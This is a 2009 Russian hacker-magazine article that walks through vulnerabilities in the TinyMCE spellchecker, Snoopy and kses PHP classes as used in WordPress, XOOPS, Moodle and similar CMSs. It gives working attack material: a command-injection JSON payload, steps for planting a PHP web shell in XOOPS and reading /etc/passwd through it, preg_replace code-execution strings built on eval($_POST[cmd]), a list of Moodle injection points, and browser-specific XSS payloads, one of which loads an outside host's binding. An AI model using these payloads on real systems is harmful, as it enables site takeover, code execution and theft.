Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР #121, ЯНВАРЬ 2009 г.

Классовая борьба. Обзор уязвимостей в популярных PHP-классах

Маг (icq 884888, http://wap-chat.ru)




WordPress, Joomla, Drupal, Moodle – ты, наверняка, слышал об этих популярнейших CMS, написанных на PHP. А знаешь ли ты, что в них во всех для упрощения работы используются паблик-классы: kses, Snoopy и SpellChecker в составе TinyMCE? В каждом из этих классов злостными хакерами недавно были найдены бреши в безопасности, приводящие к самым разнообразным последствиям: от банальнейшего XSS до вполне серьезного code exec. Я постараюсь донести до тебя суть найденных уязвимостей – как в классах, так и в перечисленных CMS.

Коварная орфография

В качестве первого примера найденной уязвимости расскажу о code exec в модуле проверки орфографии популярного WYSIWYG-редактора TinyMCE.
Этот модуль вместе с самим TinyMCE используется, например, в таком продукте, как WordPress версий 2.0.x-2.7.x и находится по дефолту в ./wp-includes/js/tinymce/plugins/spellchecker. Проверка орфографии может осуществляться тремя различными методами: с помощью соответствующего сервиса Google, с помощью PHP-модуля PSpell, с помощью внешней win и nix утилиты aspell.

В конфиге модуля config.php как раз и прописывается метод проверки:

<?php
$config['general.engine'] = 'GoogleSpell';
//$config['general.engine'] = 'PSpell';
//$config['general.engine'] = 'PSpellShell';

...
$config['PSpellShell.mode'] = PSPELL_FAST;
$config['PSpellShell.aspell'] = '/usr/bin/aspell';
$config['PSpellShell.tmp'] = '/tmp';
...
?>

Как видишь, по дефолту стоит проверка через Гугл, поэтому уязвимость может затронуть редкие движки с TinyMCE. Тем не менее, раскомментируй строчку $config['general.engine'] = 'PSpellShell'; и закомментируй проверку Гуглом.

Теперь дальше. Взаимодействие со спеллчекером происходит через RPC-интерфейс (нововведение появилось в 3 версии TinyMCE и 2.5 версии WordPress, раньше все было проще - передача параметров POST и GET-пакетами).

Сама уязвимость – в отсутствии должной фильтрации параметра lang при составлении параметров команды для консольной утилиты в файле ./wp-includes/js/tinymce/plugins/spellchecker/classes/PSpellShell.php:

function _getCMD($lang) {
$this->_tmpfile = tempnam($this->_config['PSpellShell.tmp'], "tinyspell");
if(preg_match("#win#i", php_uname()))
return $this->_config['PSpellShell.aspell'] . " -a --lang=". $lang
. " --encoding=utf-8 -H < " . $this->_tmpfile . " 2>&1";
return "cat ". $this->_tmpfile ." | " . $this->_config['PSpellShell.aspell']
. " -a --encoding=utf-8 -H --lang=". $lang;
}

Для передачи нужной нам evil-команды в уязвимый класс надо знать синтаксис JSON-запросов. POST-пакет, который необходимо передать в скрипт rpc.php, будет примерно следующим:

{"method":"getSuggestions","params":["en; ТВОЯ_EVIL_КОМАНДА"]}

Эксплойт, думаю, напишешь сам :). Пора перейти к уязвимостям посерьезнее.

Добрый песик Снупи

Кроме того, что так зовут песика из мультфильма Уильяма Ханны и Джозефа Барберы, Snoopy – это еще и PHP-класс, эмулирующий работу браузера. Он позволяет получать содержимое страницы и отправлять данные форм, поддерживает прокси, переадресацию и кукисы. Как подсказывает поиск Гугла по опенсорсу (http://google.com/codesearch), этот класс юзают WordPress, TikiWiki, Xoops и другие, менее популярные, движки.

Hассмотрим подробно функцию _httpsrequest():

function _httpsrequest($url,$URI,$http_method,$content_type="",$body="")
{
...
$safer_URI = strtr( $URI, "\"", " " ); // strip quotes from the URI to avoid shell access
exec($this->curl_path." -D \"$headerfile\"".$cmdline_params." \"".$safer_URI."\"",$results,$return);
...
}

В WordPress функция пропатчена самими разработчиками с помощью escapeshellcmd. Надеюсь, ты начал понимать ход моей мысли?

  1. Мы внедряем evil-код в параметр $URI, который передается в уязвимую функцию;
  2. Наш evil-код должен выполниться с помощью exec.

Но как, спросишь ты, будет выполняться код, если режется двойная кавычка, без которой невозможно передать дальнейшую последовательность команд вне определенного аргумента? Очень просто!

Командные интерпретаторы поддерживают хитрую последовательность команд в двойных кавычках через backticks (обратных кавычек). Выполни у себя на шелле следующий код:

echo "`id`"

На экране ты должен увидеть не просто надпись `id`, а полноценный вывод команды id. Исходя из полученной информации, рассмотрим подробную эксплуатацию уязвимости на примере популярной цмски XOOPS.

Выгуливаем пса

Итак, качай xoops-1.3.10 с официального сайта проекта (ссылку ищи в сносках) и следи за процессом реверсивного изучения движка:

1. Сам Снупи находится в ./html/class/snoopy.class.php, уязвимая функция _httpsrequest() вызывается через другую функцию fetch();

2. Далее идем в файл ./class/phpsyndication.lib.php и видим следующий код:

...
require(XOOPS_ROOT_PATH."/class/snoopy.class.php");
...
function getData($forcecache=false)
{
...
$snoopy = new Snoopy;
...
$snoopy->fetch($this->sourceUrl);
$data = $snoopy->results;
...
}
function getHtml($fromcache=false)
{
$data = $this->getData($fromcache);
...
function getTitle($fromcache=false)
{
$data = $this->getData($fromcache=false);
...

Запоминаем функции getTitle() и getHtml();

3. Идем в файл ./html/modules/headlines/blocks/headlines.php и видим в нем такой код:

<?php
...
include(XOOPS_ROOT_PATH."/class/phpsyndication.lib.php");
...
$result = $xoopsDB->query("SELECT hid, sitename, url, headlinesurl, status FROM ".$xoopsDB->prefix("headlines")." WHERE status=1 OR status=2");
...
$block['content'] .= "<b>".$synd->getTitle()."</b><br />";
$block['content'] .= $synd->getHtml();
...
?>

Вот и весь путь бажного кода, заканчивающийся в функциях getTitle() и getHtml().

Алгоритм написания эксплойта будет примерно следующим:

  1. Сохраняем в БД значение поля headlinesurl равным https://`echo '<?passthru($cmd)?>' >> xox.php` (таблица headlines; а вот как именно это сделать - выходит за рамки статьи, так что ищи сам);
  2. Просматриваем несколько страниц XOOPS - во время процесса просмотра страниц модуль headlines попытается выполнить свое дело и загрузить наш ядовитый URL;
  3. Если все прошло удачно, наслаждаемся шеллом по адресу http://victim.com/xoops-1.3.10/html/class/xox.php?cmd='cat /etc/passwd'.

Как видишь, процесс поиска использования Snoopy в движке оказался на поверку не таким уж и легким, но, поверь, покопаться в популярных движках стоит. Пищу для размышлений я тебе дал.

Опасные регулярные выражения

Настал черед самого вкусного - множественные уязвимости в kses - PHP-классе для фильтрации пользовательского ввода. Kses используется в таких популярных проектах, как WordPress, Moodle, Drupal, eGroupware, Dokeos, PHP-Nuke, Geeklog – и многих других.

Первая и самая опасная уязвимость – это банальный code exec с помощью функции preg_replace и модификатора /e:

function kses_bad_protocol_once($string, $allowed_protocols)
{
return preg_replace('/^((&[^;]*;|[\sA-Za-z0-9])*)'.
'(:|:|&#[Xx]3[Aa];)\s*/e',
'kses_bad_protocol_once2("\\1", $allowed_protocols)',
$string);
}

Для выполнения произвольного кода (например, вывод phpinfo) тебе необходимо в качестве параметра функции kses_bad_protocol_once() всего лишь передать следующую строку:

<a href="&#{${phpinfo()}};:">H4ck</a>

Сразу скажу, насчет WordPress сильно не обольщайся, ибо разработчики, как всегда, постарались и ввели в функции wp_kses_normalize_entities() защиту: & меняется на &amp;

$string = str_replace('&', '&amp;', $string);

Как выглядело бы выполнение произвольного кода в WordPress без этой строчки, ты сможешь увидеть на скриншоте. Я всего лишь запостил комментарий в произвольный пост с кодом, указанным выше. Если с многострадальным ворпдрессом этот «финт ушами» не выйдет, то авторы других движком не столь дальновидны. Возьмем, к примеру, не самый безызвестный движок Moodle. Для него умельцы на основе вышеописанной баги написали эксплойт (ссылка в сносках).
Тут уязвимыми являются сразу несколько скриптов и параметров:

$injection_points = array(
'blocks/rss_client/block_rss_client_error.php' => array('error'),
'course/scales.php?id=1' => array('name', 'description'),
'help.php' => array('text'),
'login/confirm.php' => array('data', 's'),
'mod/chat/gui_basic/index.php?id=1' => array('message'),
'mod/forum/post.php' => array('name'),
'mod/glossary/approve.php?id=1' => array('hook'),
'mod/wiki/admin.php' => array('page'),

Сплойт всего-навсего передает к ним строку:

$value = '<img src=http&{${eval($_POST[cmd])}};://target.ru>';

– где в eval() и выполняется произвольная команда :). Но останавливаться на code exec не стоит, теперь подошла очередь XSS. В прошлогодней статье «Троянский конь в phpMyFaq» я описывал, как с помощью XSS в kses можно похекать вордпресс. Теперь же остановлюсь на этом подробней.

XSS и особенности браузеров

Заботливые разработчики kses предусмотрели для нашего брата выполнение javascript путем обхода фильтрации в функции kses_bad_protocol_once2(). Достигается это вставкой пропущенных через urldecode() символов %0B (для Оперы и Осла) и %08 (для Файрфокса). Вот небольшой PoC (работает в Вордпрессе при постинге комментария):

(Opera) <a href="%0Bjavascript:alert(document.domain)">lol</a>
(Firefox) <a href='%08data:text/html;base64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW4pPC9zY3JpcHQ%2B'>test</a>

Но и это еще не все! В некоторых движках в kses доступен атрибут style, а kses не очень подготовлен к защите от XSS, внедренных в CSS. Рабочий эксплойт под такой конфиг выглядел бы следующим образом:

(Firefox) <a style=" ;\2d\6d\6f\7a\2d\62\69\6e\64\69\6e\67: \75\72\6c(\68\74\74\70\3a\2F\2F\68\61\2E\63\6B\65\72\73\2E\6
F\72\67\2F\78\73\73\6D\6F\7A\2E\78\6D\6C\23\78\73\73)" href="http://example.com">test</a>

Злоключение

Использование халявных классов и разработок до добра не доводит. Советую тебе при написании собственных скриптов либо самому писать нужные классы, либо тщательно проверять опенсорс как вручную, так и по advisory в багтреках, коих появляется бесчисленное множество практически каждый день.

WWW

Содержание